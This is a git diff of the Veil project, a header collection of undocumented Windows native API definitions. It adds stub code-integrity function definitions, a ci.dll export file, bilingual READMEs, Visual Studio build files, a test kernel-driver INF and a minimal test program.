UNREFERENCED_PARAMETER(IsReloadCatalogs);
UNREFERENCED_PARAMETER(Always0);
UNREFERENCED_PARAMETER(Always2007F);
UNREFERENCED_PARAMETER(PolicyInfo);
UNREFERENCED_PARAMETER(CatalogName);
UNREFERENCED_PARAMETER(SigningTime);
UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
return STATUS_SUCCESS;
}
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiValidateFileObject(
_In_ FILE_OBJECT* FileObject,
_In_opt_ UINT32 Unkonwn1, // 0 is a valid value. if it is 4, select sha256
_In_opt_ UINT32 Unkonwn2, // 0 is a valid value.
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ UINT8* Hash,
_Inout_ UINT32* HashSize,
_Out_ ALG_ID* HashAlgId
)
{
UNREFERENCED_PARAMETER(FileObject);
UNREFERENCED_PARAMETER(Unkonwn1);
UNREFERENCED_PARAMETER(Unkonwn2);
UNREFERENCED_PARAMETER(PolicyInfo);
UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
UNREFERENCED_PARAMETER(SigningTime);
UNREFERENCED_PARAMETER(Hash);
UNREFERENCED_PARAMETER(HashSize);
UNREFERENCED_PARAMETER(HashAlgId);
return STATUS_SUCCESS;
}
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
PVOID
NTAPI
CiFreePolicyInfo(
_In_ MINCRYPT_POLICY_INFO* PolicyInfo
)
{
UNREFERENCED_PARAMETER(PolicyInfo);
return nullptr;
}
typedef
_IRQL_requires_same_
_Function_class_(MINCRYPT_ALLOCATE_ROUTINE)
__drv_allocatesMem(Mem)
PVOID
NTAPI
MINCRYPT_ALLOCATE_ROUTINE (
_In_ SIZE_T ByteSize
);
typedef MINCRYPT_ALLOCATE_ROUTINE *PMINCRYPT_ALLOCATE_ROUTINE;
MINCRYPTAPI
INT
NTAPI
CiGetCertPublisherName(
_In_ MINCERT_BLOB* Certificate,
_In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine,
_Out_ PUNICODE_STRING PublisherName
)
{
UNREFERENCED_PARAMETER(Certificate);
UNREFERENCED_PARAMETER(AllocateRoutine);
UNREFERENCED_PARAMETER(PublisherName);
return 0;
}
MINCRYPTAPI
VOID
NTAPI
CiSetTrustedOriginClaimId(
_In_ UINT32 ClaimId
)
{
UNREFERENCED_PARAMETER(ClaimId);
}
EXTERN_C_END

View File

@ -0,0 +1,15 @@
LIBRARY ci.dll
EXPORTS
;CiValidateFileAsImageType @1 NONAME
;CiRegisterSigningInformation @2 NONAME
;CiUnregisterSigningInformation @3 NONAME
CiCheckSignedFile
;CiFindPageHashesInCatalog
;CiFindPageHashesInSignedFile
CiFreePolicyInfo
CiGetCertPublisherName
;CiGetPEInformation
;CiInitialize
CiSetTrustedOriginClaimId
CiValidateFileObject
CiVerifyHashInCatalog

View File

@ -0,0 +1,25 @@
# 面纱 (veil)
* [English](README.md)
`面纱`是 Windows 的原生 API 定义集合。采用`面纱`这个名字,寓意为揭开 Windows 的面纱,窥探隐藏在背后的面貌。
该项目包含了来自 `ntdll.dll`、`samlib.dll` 和 `winsta.dll` 的 Windows 内部未文档化的 API 定义。
该项目基于 [processhacker/phnt](https://github.com/processhacker/phnt) 和 [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) 分支修改,集合两个项目的优点。
* 可以用于内核模式和用户模式。
* 支持使用 `/W4` `/WX` 选项编译。
* 适配 Windows SDK。
* API 由 Windows SDK 版本宏管理。
## 如何使用
首先,请确保您的程序使用的是最新的 Windows SDK。然后克隆项目直接 include 即可。
```C
// 如果你不想污染全局空间的话,请包含以下宏定义
#define VEIL_USE_SEPARATE_NAMESPACE
#include "veil.h"
```

26
include/Veil/README.md Normal file
View File

@ -0,0 +1,26 @@
# veil
* [简体中文](README.Zh-CN.md)
`veil` is a collection of Native API definitions for Windows. Take the name `veil`, which means to lift the veil of Windows and spy on the face hidden behind.
This project contains the definitions for the Windows internal undocumented API from `ntdll.dll`, `samlib.dll` and `winsta.dll`.
This project is based on the [processhacker/phnt](https://github.com/processhacker/phnt) and [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) fork modifications, combining the advantages of the two projects.
* Both user-mode and kernel-mode are supported.
* Compiling using the /W4 /WX option is supported.
* Optimized for the Windows SDK.
* The API is managed by Windows SDK version macros.
## How to use
First make sure that your program is using the latest Windows SDK.
Then clone and include it.
```C
// If you wonder to use separate namespace, please define the following macro.
#define VEIL_USE_SEPARATE_NAMESPACE
#include "veil.h"
```

View File

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- General -->
<PropertyGroup>
<OutDir>$(SolutionDir)Build\$(PlatformShortName)\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)Build\.objs\$(MSBuildProjectName.ToLower())\$(PlatformShortName.ToLower())\$(Configuration.ToLower())\</IntDir>
</PropertyGroup>
<!-- Global -->
<ItemDefinitionGroup>
<ClCompile>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<WarningLevel>Level4</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ObjectFileName>$(IntDir)anyname\%(RelativeDir)%(FileName).obj</ObjectFileName>
</ClCompile>
</ItemDefinitionGroup>
</Project>

View File

@ -0,0 +1,117 @@
;
; Veil.Test.Kernel.inf
;
;-------------------------------------------------------------------------
; Veil.Test.Kernel.INF -- Device Driver
;
; Copyright (c) 2019, Microsoft.Com LLC. All rights reserved.
;------------------------------------------------------------------------
; INF MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/roadmap-for-device-and-driver-installation--windows-vista-and-later-
;
; Class And ClassGuid MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/file-system-filter-driver-classes-and-class-guids
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/system-defined-device-setup-classes-available-to-vendors
[Version]
Signature = "$WINDOWS NT$"
Class = System
ClassGuid ={4d36e97d-e325-11ce-bfc1-08002be10318}
Provider = %ManufacturerName%
CatalogFile = %DriverName%.cat
DriverVer =
PnpLockdown = 1
;-------------------------------------------------------------------------
; Installation Section
;-------------------------------------------------------------------------
; DestinationDirs MSDN
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-destinationdirs-section
[DestinationDirs]
DefaultDestDir = 12
; SourceDisksNames MSDN
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksnames-section
[SourceDisksNames]
1 = %DiskName%,,,""
; SourceDisksFiles MSDN
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksfiles-section
; Each filename entry must specify the exact name of a file on the source disk.
; You cannot use a %strkey% token to specify the file name.
[SourceDisksFiles]
Veil.Test.Kernel.sys = 1,,
; Copyfiles MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-copyfiles-directive
[Install.Copyfiles]
%DriverName%.sys,%DriverName%.sys,,0x00004022 ; COPYFLG_NOSKIP | COPYFLG_NO_VERSION_DIALOG | COPYFLG_IN_USE_RENAME
; Delfiles MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delfiles-directive
[Install.Delfiles]
%DriverName%.sys
;-------------------------------------------------------------------------
; Service installation support
;-------------------------------------------------------------------------
[DefaultInstall]
CopyFiles =Install.Copyfiles
; LegacyUninstall MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/develop/creating-a-primitive-driver
[DefaultUninstall]
LegacyUninstall = 1
DelFiles = Install.Delfiles
[DefaultInstall.Services]
; You may want to add the SPSVCINST_STARTSERVICE flag, like this:
; AddService=%ServiceName%,0x800,InstallService.Arch ; SPSVCINST_STARTSERVICE
; AddService MSDN
; SPSVCINST_STARTSERVICE=0x800
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-addservice-directive
AddService = %ServiceName%,0x000,InstallService
; SPSVCINST_STOPSERVICE=0x200
; DelService MSDN:
; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delservice-directive
[DefaultUninstall.Services]
DelService = %ServiceName%,0x200
[InstallService]
DisplayName = %ServiceName%
Description = %ServiceDesc%
ServiceBinary = %12%\%DriverName%.sys
ServiceType = 1 ; SERVICE_KERNEL_DRIVER
StartType = 3 ; 0 = SERVICE_BOOT_START
; 1 = SERVICE_SYSTEM_START
; 2 = SERVICE_AUTO_START
; 3 = SERVICE_DEMAND_START
; 4 = SERVICE_DISABLED
ErrorControl = 1 ; SERVICE_ERROR_NORMAL
;-------------------------------------------------------------------------
; Strings section
;-------------------------------------------------------------------------
[Strings]
ManufacturerName = "Kaku"
DriverName = "Veil.Test.Kernel"
ServiceName = "Veil.Test"
ServiceDesc = "Veil.Test Driver"
DiskName = "Veil.Test.Kernel Source Disk"

View File

@ -0,0 +1,136 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}</ProjectGuid>
<TemplateGuid>{dd38f7fc-d7bd-488b-9242-7d8754cde80d}</TemplateGuid>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<MinimumVisualStudioVersion>12.0</MinimumVisualStudioVersion>
<Configuration>Debug</Configuration>
<Platform Condition="'$(Platform)' == ''">Win32</Platform>
<RootNamespace>Veil_Test_Kernel</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>WDM</DriverType>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>WDM</DriverType>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>WDM</DriverType>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<TargetVersion>Windows10</TargetVersion>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>WindowsKernelModeDriver10.0</PlatformToolset>
<ConfigurationType>Driver</ConfigurationType>
<DriverType>WDM</DriverType>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
<RunCodeAnalysis>true</RunCodeAnalysis>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DebuggerFlavor>DbgengKernelDebugger</DebuggerFlavor>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<DriverSign>
<FileDigestAlgorithm>sha256</FileDigestAlgorithm>
</DriverSign>
<ClCompile>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DriverSign>
<FileDigestAlgorithm>sha256</FileDigestAlgorithm>
</DriverSign>
<ClCompile>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<DriverSign>
<FileDigestAlgorithm>sha256</FileDigestAlgorithm>
</DriverSign>
<ClCompile>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<DriverSign>
<FileDigestAlgorithm>sha256</FileDigestAlgorithm>
</DriverSign>
<ClCompile>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
</ItemDefinitionGroup>
<ItemGroup>
<Inf Include="Veil.Test.Kernel.inf" />
</ItemGroup>
<ItemGroup>
<FilesToPackage Include="$(TargetPath)" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Veil.Test.Main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd;cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Veil.Test.Main.cpp">
<Filter>Source</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<Inf Include="Veil.Test.Kernel.inf" />
</ItemGroup>
</Project>

View File

@ -0,0 +1,11 @@
#include <Veil.h>
#ifdef _KERNEL_MODE
EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT /*DriverObject*/, PUNICODE_STRING /*RegistryPath*/)
#else
int main(int /*argc*/, char* /*argv*/[])
#endif // _KERNEL_MODE
{
return STATUS_SUCCESS;
}

View File

@ -0,0 +1,155 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Veil.Test.Main.cpp" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{5e94fd3f-3f19-4c3e-b7de-43cb0877224f}</ProjectGuid>
<RootNamespace>VeilTest</RootNamespace>
<ProjectName>Veil.Test.UserMode</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="My.Cpp.Default.props" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>$(SolutionDir)..\;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd;cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Veil.Test.Main.cpp">
<Filter>Source</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -0,0 +1,45 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32228.343
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.UserMode", "Veil.Test.UserMode.vcxproj", "{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.Kernel", "Veil.Test.Kernel.vcxproj", "{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.ActiveCfg = Debug|x64
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.Build.0 = Debug|x64
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.ActiveCfg = Debug|Win32
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.Build.0 = Debug|Win32
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.ActiveCfg = Release|x64
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.Build.0 = Release|x64
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.ActiveCfg = Release|Win32
{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.Build.0 = Release|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.ActiveCfg = Debug|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Build.0 = Debug|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Deploy.0 = Debug|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.ActiveCfg = Debug|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Build.0 = Debug|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Deploy.0 = Debug|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.ActiveCfg = Release|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Build.0 = Release|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Deploy.0 = Release|x64
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.ActiveCfg = Release|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Build.0 = Release|Win32
{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Deploy.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {D3989A88-8A9B-4341-A68A-5B8762A91497}
EndGlobalSection
EndGlobal

160
include/Veil/Veil.h Normal file
View File

@ -0,0 +1,160 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
#ifdef __cplusplus
#ifdef VEIL_USE_SEPARATE_NAMESPACE
#define VEIL_BEGIN() namespace Veil { extern "C" {
#define VEIL_END() } }
#else
#define VEIL_BEGIN() extern "C" {
#define VEIL_END() }
#endif
#else
#ifdef VEIL_USE_SEPARATE_NAMESPACE
#define VEIL_BEGIN() namespace Veil {
#define VEIL_END() }
#else
#define VEIL_BEGIN()
#define VEIL_END()
#endif
#endif
#ifndef __cplusplus
#ifndef CINTERFACE
#define CINTERFACE
#endif
#ifndef COBJMACROS
#define COBJMACROS
#endif
#endif
#ifndef __cplusplus
// This is needed to workaround C17 preprocessor errors when using legacy versions of the Windows SDK. (dmex)
#ifndef MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS
#define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0
#endif
#endif
#if !defined(_KERNEL_MODE)
//
// User-Mode
//
